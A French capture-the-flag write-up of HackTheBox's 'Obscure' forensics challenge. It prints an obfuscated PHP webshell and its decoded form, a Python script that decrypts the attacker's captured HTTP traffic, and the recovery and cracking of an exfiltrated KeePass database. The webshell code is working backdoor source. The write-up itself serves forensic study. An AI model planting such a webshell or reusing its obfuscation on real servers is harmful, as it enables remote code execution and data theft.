Reverse de Webshell PHP

Write-up du challenge Obscure d'hackthebox

Le

Dans ce challenge de forensic proposé par Hackthebox, on doit réussir à reverse un shell php afin de trouver quelles données ont été extraites.

Analyse des fichiers du challenge

On commence par analyser les fichiers présents dans l'archive:

  • Le fichier todo.txt

An attacker has found a vulnerability in our web server that allows arbitrary PHP file upload in our Apache server. Suchlike, the hacker has uploaded a what seems to be like an obfuscated shell (support.php). We monitor our network 24/7 and generate logs from tcpdump (we provided the log file for the period of two minutes before we terminated the HTTP service for investigation), however, we need your help in analyzing and identifying commands the attacker wrote to understand what was compromised.

  • Le shell en question (support.php):
<?php
$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($';
$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';
$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';
$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}';
$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');
$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';
$u=str_replace('u)','',$V.$d.$P.$c.$B);
$x=$N('',$u);$x();
?>

On remarque rapidement qu'il est obfusqué. On se rend donc sur un désobfuscateur de php, à savoir unphp.net, et on obtient:

<?php function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
$k = "80e32263";
$kh = "6f8af44abea0";
$kf = "351039f4a7b5";
$p = "0UlYyJHG87EJqEz6";
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    eval(@gzuncompress(@x(base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print ("$p$kh$r$kf");
}

On comprend facilement comment fonctionne l'encodage des payloads:

  1. La commande est compressée avec gz
  2. La commande compressée est ensuite passée dans la fonction x
  3. La sortie de la fonction x est encodée en base64
  4. Le base64 est concaténée à d'autres chaines de caractères
  • Les trames réseau (19-05-21_22532255.pcap)

On l'ouvre avec wireshark. On y trouve de l'HTTP classique, du TCP et de l'UDP. Notre shell fonctionnant par requête http, on applique un filtre

Wireshark : le filtre http isole les requêtes GET parmi les trames du pcap

et on regarde quels paquets semblent intéressants pour notre étude. On en trouve 8 aux totales, qu'on peut séparer en deux catégories.

Wireshark : requêtes POST de l'attaquant vers le webshell support.php

Envoyé par l'attaquant au webshell

Wireshark : réponses HTTP 200 OK renvoyées par le webshell à l'attaquant

Envoyé du webshell vers l'attaquant

On y trouve des strings étranges, mais qui correspondent à ceux décrits par le webshell étudié précédemment. On les extrait et on peut désormais passer à la résolution.

Résolution du challenge

On code deux fonctions, une pour déchiffrer les commandes envoyées par l'attaquant au webshell, et une pour déchiffrer les retours envoyés du webshell vers l'attaquant. (Nb: On aurait pu faire une seule fonction, mais dans la précipitation je n'y ai pas pensé). Pour les 2 fonctions, les étapes sont les mêmes: on sépare le base64 des strings auxquels il a été concaténé, on décode le base64, on applique la fonction x (car elle ne fait que xoré la string avec une clé, et on sait que A ^ B = C <=> B ^ C = A), puis on unzip avec gz. J'ai rajouté un peu de couleur avec colorama pour y voir plus clair, voilà le script final:

import gzip, zlib
import base64
import binascii
from colorama import Fore, Back, Style, init

def getcara(k,ind):
	while True:
		if ind > len(k) -1:
			ind -= len(k)
		else:
			return k[ind]
def uncipher_receiver(cipher,verbose=False):
	k = "80e32263"
	p = "0UlYyJHG87EJqEz6"
	kf = "351039f4a7b5"
	kh = "6f8af44abea0"
	cipher = cipher.replace(p + kh,"").replace(kf,"")
	cipher = base64.b64decode(cipher)
	if verbose: print("[*] Cipher: %s"%binascii.hexlify(cipher))
	content = b""
	for i in range(0,len(cipher)):
		content += chr(ord(cipher[i]) ^ ord(getcara(k,i)))
	if verbose: print("[*] Decipher: %s"%binascii.hexlify(content))
	if verbose: print("[*] Plaintext: %s" %zlib.decompress(bytes(content), 15+32))
	else: print(Fore.GREEN + zlib.decompress(bytes(content), 15+32) + Style.RESET_ALL)
def uncipher_sender(cipher,verbose=False):
	k = "80e32263"
	p = "0UlYyJHG87EJqEz6"
	kf = "351039f4a7b5"
	kh = "6f8af44abea0"
	cipher = cipher.split(kh)[1].split(kf)[0]
	cipher += '=' * (-len(cipher) % 4)
	cipher = base64.b64decode(cipher)
	if verbose: print("[*] Cipher: %s"%binascii.hexlify(cipher))
	content = b""
	for i in range(0,len(cipher)):
		content += chr(ord(cipher[i]) ^ ord(getcara(k,i)))
	if verbose: print("[*] Decipher: %s"%binascii.hexlify(content))
	if verbose: print("[*] Plaintext: %s" %zlib.decompress(bytes(content), 15+32))
	else: print(Fore.RED + "$ %s" %zlib.decompress(bytes(content), 15+32) + Style.RESET_ALL)

En passant nos différentes chaines base64 obtenues précédemment dans nos 2 fonctions, on obtient:

Terminal : le script Python déchiffre les commandes échangées avec le webshell

output du script

On récupère le base64, qu'on décode et qu'on place dans un fichier. On obtient un fichier pwndb.kdbx, propre aux gestionnaires de mot de passe keepass.

Terminal : la commande file identifie pwndb.kdbx comme une base KeePass 2.x

On lance kali linux pour tenter de bruteforcer le masterkey de notre pwndb.kdbx, ce qui se solve pas un succès.

Kali Linux : John the Ripper casse la master key du fichier KeePass pwndb.kdbx

Cela nous permet d'ouvrir notre fichier.

KeePass : la base déchiffrée révèle l'entrée Flag de l'utilisateur artikrh

On peut maintenant récupérer le flag: HTB{pr0tect_y0_shellZ}

KeePass : détail de l'entrée Flag dont le mot de passe masqué contient le flag

Accès Restreint

Cet article n'est pas (encore) publique.
Pour obtenir un accès anticipé, contactez-moi.

[[ passwordError ]]

[[ post.title ]]

[[ post.description ]]

Le [[ post.date ]]

[[ tag ]]
[[ currentMatchIndex + 1 ]] / [[ searchMatches.length ]] 0 / 0

Sommaire

Page principale